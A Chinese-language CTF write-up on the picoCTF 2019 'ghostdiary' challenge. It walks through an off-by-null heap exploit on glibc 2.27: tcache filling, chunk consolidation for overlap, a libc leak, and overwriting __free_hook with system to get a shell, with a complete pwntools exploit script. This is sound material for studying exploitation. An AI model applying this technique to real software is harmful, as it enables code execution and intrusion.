[Off-By-Null]picoctf2019-ghostdiary

知识点

  • off by null 类型漏洞的利用思路
  • 漏洞利用过程中遇到的问题及原理分析

环境

  • libc2.27

off by null 漏洞利用思路 (参考pu1pgithub)

---
0x120 A
---
0x80 B
---
0x120 C

malloc A B C
FREE A             
edit B1             -> OFF BY NULL
FREE C              -> unlink A
malloc A1
malloc B1           -> overlap chunk with B
free B1             -> B1 into fastbin
edit B              -> modify B1's bk
malloc B2 
malloc B3           -> fake chunk on free_hook
edit B3             -> modify free_hook to system

遇到的问题及原理分析

以本题为例,经典菜单题,可以对diary进行增加、编辑、删除操作,在edit函数中存在off-by-null。

漏洞利用的入口点是通过溢出的一个\x00字节覆盖下一个堆块的PREV_INUSE位为0。

chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             Size of previous chunk, if unallocated (P clear)  |
        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             Size of chunk, in bytes                     |A|M|P|
  mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             User data starts here...                          .
        .                                                               .
        .             (malloc_usable_size() bytes)                      .
next    .                                                               |
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             (size of chunk, but used for application data)    |
        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             Size of next chunk, in bytes                |A|0|1|
        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

修改完成后,如果free下一个堆块,int_free会检查与当前块相邻的堆块的P位,如果为0,则将这个块从所属的bin中unlink出来,和当前需要free的堆块合并后再放入unsortedbin中。

本题的exp中,我们这样泄露地址:

code sheet 1

#off-by-null                                  
add(2,0x110)#0                              
add(1,0x78)#1                                
add(2,0x110)#2

首先申请三个堆块,其中#0,#2大小相同,#1大小必须是8的整数倍且不是16的整数倍,这样申请堆块的原因是通过#1 修改#2的P位,同时利用堆块间对pre_size的复用来修改#2的pre_size为#0,#1两个堆块的大小之和,这样free(#2)的时候malloc函数就会将#0,#1两个堆块视为已经被free的堆块,从而执行unlink,将#0,#1,#2这三个连续堆块合成一个堆块放入unsortedbin中。这样一来,我们既可以通过edit(#1)来操作#1,也可以通过malloc新的chunk的方式从unsortedbin中获取到#1地址,即构造了对堆块#1的overlap。

由于本题远程libc版本是2.27,我们需要先将tcache填满,这样才能将#0 free到unsortedbin

code sheet 2

for i in range(3,10):
    add(2,0x110)
for i in range(10,17): #  tricky code:will be useful afterwards
    add(1,0xf0)

for i in range(3,10):#fill tcache
    delete(i)
delete(0) #put #0 into unsorted bin

for i in range(10,17):#fill tcache   #  tricky code:will be useful afterwards
    delete(i)

#0 放入unsoredbin中是为了绕过free_int对fd和bk的检测:

fd&&bk check

我们将#0放入unsortedbin中,由于unsortedbin本身就是一个合法的bin,因此能够顺利被unlink。

接下来就是通过edit(#1)修改#2的P位,同时利用堆块间对pre_size的复用来修改#2的pre_size为#0,#1两个堆块的大小之和,但是这里有个坑,如果直接这么写,是会报错的:

code sheet 3

edit(1,"a"*0x70 + p64(0x120 + 0x80))# use off-by-null to modify 'P' bit in next chunk into zero
delete(2) #unlink      error:(double free corrption)

这是因为在覆盖#2的P位时,因为覆盖了整整一个字节,会改变#2的size字段,在这里#2的size由原来的0x120被修改为0x100,而在free的时候会检查下一个相邻chunk的pre_inuse是否为1:

next chunk check

从上图可以看到,确定前后chunk位置的方法就是利用当前chunk的pre_size字段和size字段,因此在#2的“nextchunk”由于之前的修改,就落在了#2的内部,因此需要填充#2的内容为0x(var)1来绕过这个检查。

code sheet 4

edit(1,"a"*0x70 + p64(0x120 + 0x80))# use off-by-null to modify 'P' bit in next chunk into zero
edit(2,p64(0x21)*32)# bypass double free check
delete(2) #unlink (double free corrption?) 

var的取值是有限制的,在64位系统中,min(var) = 2(因为0x20是最小堆块大小)而var的上限需要根据具体情况分析,比如在本exp的上下文中,往#2中填充0x31是不可行的,将会触发unlink中的corrupted size vs. prev_size错误,分析如下:

之前说过,在free的时候,会检查当前堆块的前后chunk是否INUSE

1570883725453.png

而下个相邻chunk是否INUSE,则是由下相邻个chunk的下个相邻chunk的pre_inuse位决定的:

1570884231643.png

因此,如果在本exp中填充0x31,则#2的下个chunk的下个chunk的地址将会是address(#2) + 0x100 + 0x30 =address(#2) + 0x130 >address(#2) + 0x120也就是超出了#2的可写范围;而填充0x21则恰好让nextchunk(nextchunk(#2))的地址为address(#2) + 0x120,和#2的真正的下个chunk正好重合,因此也绕过了double free的检查。

调试过程中还发现一个小坑,就是如果free(#2)的时候对应大小tcache没满,则会直接将#2放入对应tcache中,不会触发unlink。因此需要code sheet 2中那段tricky code来绕过这个限制。可以看出在有tcache的libc版本中,tcache操作的优先级高于一般的堆块操作。

上述工作成功将#0,#1,#2这三个连续堆块合成一个堆块放入unsortedbin中,此时我们再申请和#0大小相同的chunk,就会从unsortedbin中切割出一块,而这个块就可以泄露出libc:

code sheet 5

for i in range(2,9): # clear tcache
    add(2,0x110)
add(2,0x110) #8 split unsorted bin
libc_addr =u64(show(8).strip("\n").ljust(8,"\x00"))
print "[+]Leak libc addr: "+hex(libc_addr)
libc_base = libc_addr - 0x3ebf30
print "[+]libc base :",hex(libc_base)
libc = ELF("./libc.so.6")
system = libc.symbols["system"]
fh = libc.symbols["__free_hook"]
system_addr = libc_base + system
fh_addr = libc_base + fh
print "[+]System addr:",hex(system_addr)

tcache (fastbin like) attack:

code sheet 6

add(1,0x60)#9                           size < size(#1) + size(#2)
delete(9) #                             put #9 into fastbin
edit(1,p64(fh_addr) * 2)#               use chunk overlap to edit #9's bk into free_hook
add(1,0x60)#9                           get #9
add(1,0x60) #10                         get fake chunk in free_hook address
edit(10,p64(system_addr))#              modify free_hook into system
add(1,0x30)#11                          
edit(11,"/bin/sh\x00")
delete(11)#                             use free_hook to get shell          
io.interactive()

完整exp

from pwn import *                             
context.log_level = "debug"                   
context.terminal = ['tmux', 'splitw', '-h']   
io = process("./ghostdiary")                  
def add(choice,size):                         
    io.recvuntil(">")                         
    io.sendline("1")                          
    io.recvuntil("both sides?")               
    io.sendline(str(choice))                  
    io.recvuntil("size:")                     
    io.sendline(str(size))                    
def edit(page,content):                       
    io.recvuntil(">")                         
    io.sendline("2")                          
    io.recvuntil("Page:")                     
    io.sendline(str(page))                    
    io.recvuntil("Content: ")                 
    io.sendline(content)                      
def show(page):                               
    io.recvuntil(">")                         
    io.sendline("3")                          
    io.recvuntil("Page:")                     
    io.sendline(str(page))                    
    io.recvuntil("Content: ")                 
    return io.recv(6)                         
def delete(page):                             
    io.recvuntil(">")                         
    io.sendline("4")                          
    io.recvuntil("Page: ")                    
    io.sendline(str(page))                    
                                                              
#off-by-null                                  
add(2,0x110)#0                                
add(1,0x78)#1                                 
add(2,0x110)#2
#edit(1,"a"*0x70 + p64(0x120 + 0x80))
for i in range(3,10):
    add(2,0x110)
for i in range(10,17):
    add(1,0xf0)

for i in range(3,10):#fill tcache
    delete(i)
delete(0) #put #0 into unsorted bin
for i in range(10,17):#fill tcache
    delete(i)

edit(1,"a"*0x70 + p64(0x120 + 0x80))
edit(2,p64(0x21)*32)
#gdb.attach(io,"dir /usr/src/glibc/glibc-2.27/malloc\nb free")
delete(2) #unlink (double free corrption?) *solved
for i in range(2,9):
    add(2,0x110)
add(2,0x110) #8
libc_addr =u64(show(8).strip("\n").ljust(8,"\x00"))
print "[+]Leak libc addr: "+hex(libc_addr)
libc_base = libc_addr - 0x3ebf30
print "[+]libc base :",hex(libc_base)
libc = ELF("./libc.so.6")
system = libc.symbols["system"]
fh = libc.symbols["__free_hook"]
system_addr = libc_base + system
fh_addr = libc_base + fh
print "[+]System addr:",hex(system_addr)
add(1,0x60)#9
delete(9)
edit(1,p64(fh_addr) * 2)
add(1,0x60)#9
add(1,0x60) #10
edit(10,p64(system_addr))
add(1,0x30)#11
edit(11,"/bin/sh\x00")
delete(11)
io.interactive()

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,776评论 6 496
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,527评论 3 389
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 160,361评论 0 350
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,430评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,511评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,544评论 1 293
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,561评论 3 414
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,315评论 0 270
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,763评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,070评论 2 330
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,235评论 1 343
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,911评论 5 338
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,554评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,173评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,424评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,106评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,103评论 2 352

推荐阅读更多精彩内容

  • 参考文章: 关于heap overflow的一些笔记 by ETenal [CTF]Heap vuln -- u...
    BJChangAn阅读 2,666评论 2 5
  • 分析方法:全局变量位置布局: 哪些在.bss,哪些在.data,变量之间的关系哪些变量, 缓冲区, 数组,存储了哪...
    fIappy阅读 998评论 0 0
  • 夏天,是一个狂躁的季节。太阳狂躁,风也狂躁,人的脾气也跟着狂躁起来,一不留神就爆发出来。比如今天,顶着烈日干了一个...
    灵魂卫士阅读 366评论 5 9
  • 最近一段时间,经常疑神疑鬼,对一切充满担忧,担心老公喜欢上别的女人,甚至他无意间的一句话都让我觉得,他不爱我了。 ...
    小咩的字阅读 243评论 0 0
  • typealias 是用来为已经存在的类型重新定义名字的,通过命名,可以使代码变得更加清晰。使用的语法也很简单,使...
    程序猿彭阅读 2,904评论 0 1